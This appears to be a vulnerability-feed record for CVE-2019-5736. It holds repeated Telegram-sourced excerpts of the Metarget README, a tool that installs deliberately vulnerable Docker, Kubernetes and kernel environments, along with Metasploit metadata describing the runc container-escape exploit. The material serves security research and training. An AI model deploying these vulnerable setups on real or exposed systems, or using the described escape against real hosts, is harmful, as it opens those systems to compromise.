installing vulnerable scenes. Why not install vulnerabilities just like installing softwares? We can do that, because our goals are security research and offensive security.  To be exact, we expect that:    metarget cnv install cve-2019-5736 will install Docker with CVE-2019-5736 onto the server.  metarget cnv install cve-2018-1002105 will install Kubernetes with CVE-2018-1002105 onto the server.  metarget cnv install kata-escape-2020 will install Kata-containers with CVE-2020-2023/2025/2026 onto the server.  metarget cnv install cve-2016-5195 will install a kernel with DirtyCoW into the server.    It's cool, right? No more steps. No RTFM. Execute one command and enjoy your coffee.  Furthermore, we expect that:    with Metarget's help, ethical hackers are able to deploy simple or complicated cloud native targets swiftly and learn by hacking cloud native environments.  metarget appv install dvwa will install a DVWA (https://github.com/digininja/DVWA) target onto our vulnerable infrastructure.  metarget appv install thinkphp-5-0-23-rce --external will install a ThinkPHP RCE vulnerability (https://www.kitploit.com/search/label/Vulnerability) with NodePort service onto our vulnerable infrastructure.    You can just run 5 commands below after installing a new Ubuntu and obtain a multi-layer vulnerable scene:  ./metarget cnv install cve-2016-5195 # container escape with dirtyCoW\n./metarget cnv install cve-2019-5736 # container escape with docker\n./metarget cnv install cve-2018-1002105 # kubernetes single-node cluster with cve-2018-1002105\n./metarget cnv install privileged-container # deploy a privileged container\n./metarget appv install dvwa --external # deploy dvwa target  RCE, container escape, lateral movement, persistence, they are yours now.  More awesome functions are coming! Stay tuned :)  Note:  Thie project aims to provide vulnerable scenes for security research. The security of scenes generated is not guaranteed. It is NOT recommended to deploy components or scenes with Metarget on the Internet.  \n2 Usage\n  \n2.1 Basic Usage\n  usage: metarget [-h] [-v] subcommand ...\n\nautomatic constructions of vulnerable infrastructures\n\npositional arguments:\n  subcommand     description\n    gadget       cloud native gadgets (docker/k8s/...) management\n    cnv          cloud native vulnerabilities management\n    appv         application vulnerabilities management\n\noptional arguments:\n  -h, --help     show this help message and exit\n  -v, --version  show program's version number and exit\n  Run ./metarget gadget list to see cloud native components supported currently.", "creation_timestamp": "2026-09-08T05:00:04.218416Z"}, {"uuid": "928341cf-7700-4797-92c3-0465c90478b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/11442", "content": "2.2 Manage Cloud Native (https://www.kitploit.com/search/label/Cloud%20Native) Components\n  usage: metarget gadget [-h] subcommand ...\n\npositional arguments:\n  subcommand  description\n    list      list supported gadgets\n    install   install gadgets\n    remove    uninstall gadgets\n\noptional arguments:\n  -h, --help  show this help message and exit\n  \n2.2.1 Case: Install Docker with Specified Version\n  Run:  ./metarget gadget install docker --version 18.03.1  If the command above completes successfully, 18.03.1 Docker will be installed.  \n2.2.2 Case: Install Kubernetes with Specified Version\n  Run:  ./metarget gadget install k8s --version 1.16.5  If the command above completes successfully, 1.16.5 Kubernetes single-node cluster will be installed.  Note:  Usually, lots of options need to be configured in Kubernetes. As a security research project, Metarget provides some options for installation of Kubernetes:    -v VERSION, --version VERSION\n                        gadget version\n  --cni-plugin CNI_PLUGIN\n                        cni plugin, flannel by default\n  --pod-network-cidr POD_NETWORK_CIDR\n                        pod network cidr, default cidr for each plugin by\n                        default\n  --taint-master        taint master node or not\n  Metarget supports deployment of multi-node cluster. If you want to add more nodes into the cluster, you can copy tools/install_k8s_worker.sh script and run it on each worker nodes after the successful installation of single-node cluster.  \n2.2.3 Case: Install Kata-containers with Specified Version\n  Run:  ./metarget gadget install kata --version 1.10.0  If the command above completes successfully, 1.10.0 Kata-containers will be installed.  Note:  You can also specify the type of kata runtime (qemu/clh/fc/...) with --kata-runtime-type option, which is qemu by default.  \n2.2.4 Case: Install Linux Kernel (https://www.kitploit.com/search/label/Linux%20Kernel) with Specified Version\n  Run:  ./metarget gadget install kernel --version 5.7.5  If the command above completes successfully, 5.7.5 kernel will be installed.  Note:  Currently, Metarget install kernels in 2 ways:    apt  if apt package is not available, download *.deb remotely from Ubuntu and try to install    After successful installation of kernel, reboot of system is needed. Metarget will prompt to reboot automatically.  \n2.3 Manage Vulnerable Scenes Related to Cloud Native Components\n  usage: metarget cnv [-h] subcommand ...\n\npositional arguments:\n  subcommand  description\n    list      list supported cloud native vulnerabilities\n    install   install cloud native vulnerabilities\n    remove    uninstall cloud native vulnerabilities\n\noptional arguments:\n  -h, --help  show this help message and exit\n  Run ./metarget cnv list to see vulnerable scenes related to cloud native components supported currently.  \n2.3.1 Case: CVE-2019-5736\n  Run:  ./metarget cnv install cve-2019-5736  If the command above completes successfully, Docker with CVE-2019-5736 will be installed\u3002  \n2.3.2 Case: CVE-2018-1002105\n  Run:  ./metarget cnv install cve-2018-1002105  If the command above completes successfully, Kubernetes with CVE-2018-1002105 will be installed\u3002  \n2.3.3 Case: Kata-containers Escape\n  Run:  ./metarget cnv install kata-escape-2020  If the command above completes successfully, Kata-containers with CVE-2020-2023/2025/2026 will be installed\u3002  \n2.3.4 Case: CVE-2016-5195\n  Run:  ./metarget cnv install cve-2016-5195  If the command above completes successfully, kernel with CVE-2016-5195 will be installed\u3002  \n2.4 Manage Vulnerable Scenes Related to Cloud Native Applications\n  usage: metarget appv [-h] subcommand ...\n\npositional arguments:\n  subcommand  description\n    list      list supported application vulnerabilities\n    install   install application vulnerabilities\n    remove    uninstall application vulnerabilities\n\noptional arguments:\n  -h, --help  show this help message and exit", "creation_timestamp": "2026-09-08T05:00:04.418689Z"}, {"uuid": "478afd78-d18b-481d-8c2b-7879282f535d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/local/docker_runc_escape.rb", "content": "{\"actions\": [], \"aliases\": [], \"arch\": \"cmd, x64, x86\", \"author\": [\"Adam Iwaniuk\", \"Borys Pop\\u0142awski\", \"Nick Frichette\", \"Christophe De La Fuente\", \"Spencer McIntyre\"], \"autofilter_ports\": [], \"autofilter_services\": [], \"check\": false, \"default_credential\": false, \"description\": \"This module leverages a flaw in `runc` to escape a Docker container\\n          and get command execution on the host as root. This vulnerability is\\n          identified as CVE-2019-5736. It overwrites the `runc` binary with the\\n          payload and wait for someone to use `docker exec` to get into the\\n          container. This will trigger the payload execution.\\n\\n          Note that executing this exploit carries important risks regarding\\n          the Docker installation integrity on the target and inside the\\n          container ('Side Effects' section in the documentation).\", \"disclosure_date\": \"2019-01-01\", \"fullname\": \"exploit/linux/local/docker_runc_escape\", \"is_install_path\": true, \"mod_time\": \"2025-12-17 17:11:13 +0000\", \"name\": \"Docker Container Escape Via runC Overwrite\", \"needs_cleanup\": true, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"artifacts-on-disk\"], \"Stability\": [\"crash-service-down\", \"service-resource-loss\", \"os-resource-loss\"]}, \"path\": \"/modules/exploits/linux/local/docker_runc_escape.rb\", \"platform\": \"Linux,Unix\", \"post_auth\": false, \"rank\": 0, \"ref_name\": \"linux/local/docker_runc_escape\", \"references\": [\"CVE-2019-5736\", \"URL-https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html\", \"URL-https://www.openwall.com/lists/oss-security/2019/02/13/3\", \"URL-https://www.docker.com/blog/docker-security-update-cve-2018-5736-and-container-security-best-practices/\"], \"rport\": null, \"session_types\": [], \"targets\": [\"Unix (In-Memory)\", \"Linux (Dropper) x64\", \"Linux (Dropper) x86\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:49:07.781989Z"}, {"uuid": "f823d3eb-038e-4ab3-9516-907a3c7c0f13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/11441", "content": "1 Introduction\n  Metarget = meta- + target, a framework providing automatic constructions of vulnerable infrastructures, used to deploy simple or complicated vulnerable cloud native targets swiftly and automatically.  \n1.1 Why Metarget?\n  During security researches, we might find that the deployment of vulnerable environment often takes much time, while the time spent on testing PoC or ExP is comparatively short. In the field of cloud native security, thanks to the complexity of cloud native systems, this issue is more terrible.  There are already some excellent security projects like Vulhub (https://github.com/vulhub/vulhub), VulApps (https://github.com/Medicean/VulApps) in the open-source community, which pack vulnerable scenes into container images, so that researchers could utilize them and deploy scenes quickly.  However, these projects mainly focus on vulnerabilities (https://www.kitploit.com/search/label/vulnerabilities) in applications. What if we need to study the vulnerabilities in the infrastructures like Docker, Kubernetes and even Linux kernel?  Hence, we develop Metarget and hope to solve the deployment issue above to some extent. Furthermore, we also expect that Metarget could help to construct multilayer vulnerable cloud native scenes automatically.  \n1.2 Install Vulnerability!\n  In this project, we come up with concepts like installing vulnerabilities and installing vulnerable scenes. Why not install vulnerabilities just like installing softwares? We can do that, because our goals are security research and offensive security.  To be exact, we expect that:    metarget cnv install cve-2019-5736 will install Docker with CVE-2019-5736 onto the server.  metarget cnv install cve-2018-1002105 will install Kubernetes with CVE-2018-1002105 onto the server.  metarget cnv install kata-escape-2020 will install Kata-containers with CVE-2020-2023/2025/2026 onto the server.  metarget cnv install cve-2016-5195 will install a kernel with DirtyCoW into the server.    It's cool, right? No more steps. No RTFM. Execute one command and enjoy your coffee.  Furthermore, we expect that:    with Metarget's help, ethical hackers are able to deploy simple or complicated cloud native targets swiftly and learn by hacking cloud native environments.  metarget appv install dvwa will install a DVWA (https://github.com/digininja/DVWA) target onto our vulnerable infrastructure.  metarget appv install thinkphp-5-0-23-rce --external will install a ThinkPHP RCE vulnerability (https://www.kitploit.com/search/label/Vulnerability) with NodePort service onto our vulnerable infrastructure.    You can just run 5 commands below after installing a new Ubuntu and obtain a multi-layer vulnerable scene:  ./metarget cnv install cve-2016-5195 # container escape with dirtyCoW\n./metarget cnv install cve-2019-5736 # container escape with docker\n./metarget cnv install cve-2018-1002105 # kubernetes single-node cluster with cve-2018-1002105\n./metarget cnv install privileged-container # deploy a privileged container\n./metarget appv install dvwa --external # deploy dvwa target  RCE, container escape, lateral movement, persistence, they are yours now.  More awesome functions are coming! Stay tuned :)  Note:  Thie project aims to provide vulnerable scenes for security research. The security of scenes generated is not guaranteed. It is NOT recommended to deploy components or scenes with Metarget on the Internet.  \n2 Usage\n  \n2.1 Basic Usage\n  usage: metarget [-h] [-v] subcommand ...\n\nautomatic constructions of vulnerable infrastructures\n\npositional arguments:\n  subcommand     description\n    gadget       cloud native gadgets (docker/k8s/...) management\n    cnv          cloud native vulnerabilities management\n    appv         application vulnerabilities management\n\noptional arguments:\n  -h, --help     show this help message and exit\n  -v, --version  show program's version number and exit\n  Run ./metarget gadget list to see cloud native components supported currently.", "creation_timestamp": "2026-09-09T00:00:41.532452Z"}, {"uuid": "cee8e084-a02b-40ff-8516-775fb71c9af7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/11442", "content": "2.2 Manage Cloud Native (https://www.kitploit.com/search/label/Cloud%20Native) Components\n  usage: metarget gadget [-h] subcommand ...\n\npositional arguments:\n  subcommand  description\n    list      list supported gadgets\n    install   install gadgets\n    remove    uninstall gadgets\n\noptional arguments:\n  -h, --help  show this help message and exit\n  \n2.2.1 Case: Install Docker with Specified Version\n  Run:  ./metarget gadget install docker --version 18.03.1  If the command above completes successfully, 18.03.1 Docker will be installed.  \n2.2.2 Case: Install Kubernetes with Specified Version\n  Run:  ./metarget gadget install k8s --version 1.16.5  If the command above completes successfully, 1.16.5 Kubernetes single-node cluster will be installed.  Note:  Usually, lots of options need to be configured in Kubernetes. As a security research project, Metarget provides some options for installation of Kubernetes:    -v VERSION, --version VERSION\n                        gadget version\n  --cni-plugin CNI_PLUGIN\n                        cni plugin, flannel by default\n  --pod-network-cidr POD_NETWORK_CIDR\n                        pod network cidr, default cidr for each plugin by\n                        default\n  --taint-master        taint master node or not\n  Metarget supports deployment of multi-node cluster. If you want to add more nodes into the cluster, you can copy tools/install_k8s_worker.sh script and run it on each worker nodes after the successful installation of single-node cluster.  \n2.2.3 Case: Install Kata-containers with Specified Version\n  Run:  ./metarget gadget install kata --version 1.10.0  If the command above completes successfully, 1.10.0 Kata-containers will be installed.  Note:  You can also specify the type of kata runtime (qemu/clh/fc/...) with --kata-runtime-type option, which is qemu by default.  \n2.2.4 Case: Install Linux Kernel (https://www.kitploit.com/search/label/Linux%20Kernel) with Specified Version\n  Run:  ./metarget gadget install kernel --version 5.7.5  If the command above completes successfully, 5.7.5 kernel will be installed.  Note:  Currently, Metarget install kernels in 2 ways:    apt  if apt package is not available, download *.deb remotely from Ubuntu and try to install    After successful installation of kernel, reboot of system is needed. Metarget will prompt to reboot automatically.  \n2.3 Manage Vulnerable Scenes Related to Cloud Native Components\n  usage: metarget cnv [-h] subcommand ...\n\npositional arguments:\n  subcommand  description\n    list      list supported cloud native vulnerabilities\n    install   install cloud native vulnerabilities\n    remove    uninstall cloud native vulnerabilities\n\noptional arguments:\n  -h, --help  show this help message and exit\n  Run ./metarget cnv list to see vulnerable scenes related to cloud native components supported currently.  \n2.3.1 Case: CVE-2019-5736\n  Run:  ./metarget cnv install cve-2019-5736  If the command above completes successfully, Docker with CVE-2019-5736 will be installed\u3002  \n2.3.2 Case: CVE-2018-1002105\n  Run:  ./metarget cnv install cve-2018-1002105  If the command above completes successfully, Kubernetes with CVE-2018-1002105 will be installed\u3002  \n2.3.3 Case: Kata-containers Escape\n  Run:  ./metarget cnv install kata-escape-2020  If the command above completes successfully, Kata-containers with CVE-2020-2023/2025/2026 will be installed\u3002  \n2.3.4 Case: CVE-2016-5195\n  Run:  ./metarget cnv install cve-2016-5195  If the command above completes successfully, kernel with CVE-2016-5195 will be installed\u3002  \n2.4 Manage Vulnerable Scenes Related to Cloud Native Applications\n  usage: metarget appv [-h] subcommand ...\n\npositional arguments:\n  subcommand  description\n    list      list supported application vulnerabilities\n    install   install application vulnerabilities\n    remove    uninstall application vulnerabilities\n\noptional arguments:\n  -h, --help  show this help message and exit", "creation_timestamp": "2026-09-09T00:00:41.745143Z"}, {"uuid": "2556e16c-caf0-4a13-b658-765faf9cad02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/11443", "content": "Run ./metarget appv list to see vulnerable scenes related to cloud native applications supported currently.  Note:  Before deploying application vulnerable scenes, you should install Docker and Kubernetes firstly. You can use Metarget to install Docker and Kubernetes.  \n2.4.1 Case: DVWA\n  Run:  ./metarget appv install dvwa  If the command above completes successfully, DVWA (https://github.com/digininja/DVWA) will be deployed as Deployment and Service resources in current Kubernetes.  Note:  You can specify --external option, then the service will be exposed as NodePort, so that you can visit it by IP of the host node.  By default, the type of service is ClusterIP.  \n2.5 Manage Vulnerable Cloud Native Target Cluster\n  Developing, currently not supported.  \n3 Installation\n  \n3.1 Requirements\n    Ubuntu 16.04 or 18.04  Python >= 3.5  pip3    \n3.2 From Source\n  Clone the repository and install requirements:  git clone https://github.com/brant-ruan/metarget.git\ncd metarget/\npip install -r requirements.txt  Begin to use Metarget and construct vulnerable scenes. For example:  ./metarget cnv install cve-2019-5736  \n3.3 From PyPI\n  Currently unsupported.  \n4 Scene List\n  \n4.1 Vulnerable Scenes Related to Cloud Native Components\n    Name  Class  Type  CVSS 3.x  Status      cve-2018-15664 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/docker/cve-2018-15664.yaml)  docker  container_escape  7.5 (https://nvd.nist.gov/vuln/detail/CVE-2018-15664)  \u2705      cve-2019-13139 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/docker/cve-2019-13139.yaml)  docker  command_execution  8.4 (https://nvd.nist.gov/vuln/detail/CVE-2019-13139)  \u2705      cve-2019-14271 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/docker/cve-2019-14271.yaml)  docker  container_escape  9.8 (https://nvd.nist.gov/vuln/detail/CVE-2019-14271)  \u2705      cve-2020-15257 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/docker/cve-2020-15257.yaml)  docker/containerd  container_escape  5.2 (https://nvd.nist.gov/vuln/detail/CVE-2020-15257)  \u2705      cve-2019-5736 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/docker/cve-2019-5736.yaml)  docker/runc  container_escape  8.6 (https://nvd.nist.gov/vuln/detail/CVE-2019-5736)  \u2705      cve-2017-1002101 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kubernetes/cve-2017-1002101.yaml)  kubernetes  container_escape  9.6 (https://nvd.nist.gov/vuln/detail/CVE-2017-1002101)  \u2705      cve-2018-1002105 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kubernetes/cve-2018-1002105.yaml)  kubernetes  privilege_escalation  9.8 (https://nvd.nist.gov/vuln/detail/CVE-2018-1002105)  \u2705      cve-2019-11253 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kubernetes/cve-2019-11253.yaml)  kubernetes  denial_of_service  7.5 (https://nvd.nist.gov/vuln/detail/CVE-2019-11253)  \u2705      cve-2019-9512 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kubernetes/cve-2019-9512.yaml)  kubernetes  denial_of_service  7.5 (https://nvd.nist.gov/vuln/detail/CVE-2019-9512)  \u2705      cve-2019-9514 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kubernetes/cve-2019-9514.yaml)  kubernetes  denial_of_service  7.5 (https://nvd.nist.gov/vuln/detail/CVE-2019-9514)  \u2705      cve-2020-8554 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kubernetes/cve-2020-8554.yaml)  kubernetes  man_in_the_middle  5.0 (https://nvd.nist.gov/vuln/detail/CVE-2020-8554)  \u2705      cve-2020-8557 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kubernetes/cve-2020-8557.yaml)  kubernetes  denial_of_service  5.5 (https://nvd.nist.gov/vuln/detail/CVE-2020-8557)  \u2705      cve-2020-8558 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kubernetes/cve-2020-8558.yaml)  kubernetes  exposure_of_service  8.8 (https://nvd.nist.gov/vuln/detail/CVE-2020-8558)  \u2705      cve-2016-5195 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kernel/cve-2016-5195.yaml)  kernel", "creation_timestamp": "2026-09-09T00:00:42.561378Z"}]}